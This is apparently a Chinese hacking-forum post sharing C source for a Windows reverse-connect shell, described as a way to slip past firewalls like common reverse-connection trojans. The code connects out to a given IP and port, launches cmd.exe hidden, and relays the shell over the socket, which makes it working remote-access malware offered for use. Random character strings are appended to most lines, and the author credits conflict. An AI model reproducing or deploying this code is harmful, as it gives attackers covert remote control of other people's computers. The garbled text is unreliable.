这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :Ba-u
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/* ============================== cJ4S!
Rebound port in Windows NT 2wOy}:
By wind,2006/7 :A$wX$H01
===============================*/ ArdJ."
#include ?xHtn2(q
#include wR1K8b".DC
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#pragma comment(lib,"wsock32.lib") k*9%8yi_ U
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void OutputShell(); rH^/8|}&s
SOCKET sClient; "11j$E9#\n
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <d<RK@2-
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void main(int argc,char **argv) :,=Fx</H
{ '!j(u@&!
WSADATA stWsaData; e>(Wvb&4
int nRet; :dbV2'vIQ
SOCKADDR_IN stSaiClient,stSaiServer; B(EtXB9
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if(argc != 3) R]fYe#!"
{ Dpp@*xX>
printf("Useage:\n\rRebound DestIP DestPort\n"); 0kz7 >v
return; f8F1~q
} "x.88,T6
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WSAStartup(MAKEWORD(2,2),&stWsaData); `w(sXkeaI
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u>
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stSaiClient.sin_family = AF_INET; 4}PeP^pj
stSaiClient.sin_port = htons(0); 6A@Lj*:2m
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VG#$fRrZ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :=B[yD!
{ nR#a)et
printf("Bind Socket Failed!\n"); =1&}t%<X
return; OUKj@~T
} {9,R@>R
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stSaiServer.sin_family = AF_INET; Bzwx0c2VY8
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $/y%[ .
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7@\GU].2
#s/{u
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) j?d!}v
{ c8!j6\dC*
printf("Connect Error!"); >fhSaeN
return; s=}~Q&8
} r8H7TJI0
OutputShell(); 6;[1Jz]?i
} rGAFp,}-f
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void OutputShell() DD)mN)
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{ jFS'I*1+
char szBuff[1024]; se"um5N-
SECURITY_ATTRIBUTES stSecurityAttributes; jBGG2[hV
OSVERSIONINFO stOsversionInfo; nEuct4BcL}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Y~}QJ+`?
STARTUPINFO stStartupInfo; .M`LUb"!
char *szShell; S So~.)J
PROCESS_INFORMATION stProcessInformation; xBt4~q;#sE
unsigned long lBytesRead; xg4T` ])
{!>E9Px
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =54Vs8.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ENpaaW@!Y
stSecurityAttributes.lpSecurityDescriptor = 0; C!oksI
stSecurityAttributes.bInheritHandle = TRUE; Rb yF#[}
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hu`Lv
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CD$u=E
]
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); h7)VJY
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6Eij>{v
stStartupInfo.wShowWindow = SW_HIDE; `mQP{od?"?
stStartupInfo.hStdInput = hReadPipe; 1'gKZB)TG7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H{&a)!Ms
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GetVersionEx(&stOsversionInfo); #.RG1-L
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switch(stOsversionInfo.dwPlatformId) n^3NA|A
{ #xD&z^o
case 1: 3/yt*cr
szShell = "command.com"; -DbH6u3
break; GC,vQ\
default: ?T$*5d
szShell = "cmd.exe"; :H~UyrN
break; 5n-9#J$
} R*zBnHAb!
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ze-TBh/
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send(sClient,szMsg,77,0); z|taa;iM
while(1) V7Vbl?*n
{ zWP.1 aA&
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9
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if(lBytesRead) QfKR
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{ "Yc^Nc
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L5i#Kh_
send(sClient,szBuff,lBytesRead,0); !-
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} 8T!fGzHx
else $4#=#aKW.
{ <yPq;#z(!
lBytesRead=recv(sClient,szBuff,1024,0); - I1cAt
if(lBytesRead<=0) break; 5e~ j
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ac*B[ywA3
} dlU
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} ;H D 4~3
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return; {PP ^Rb)
}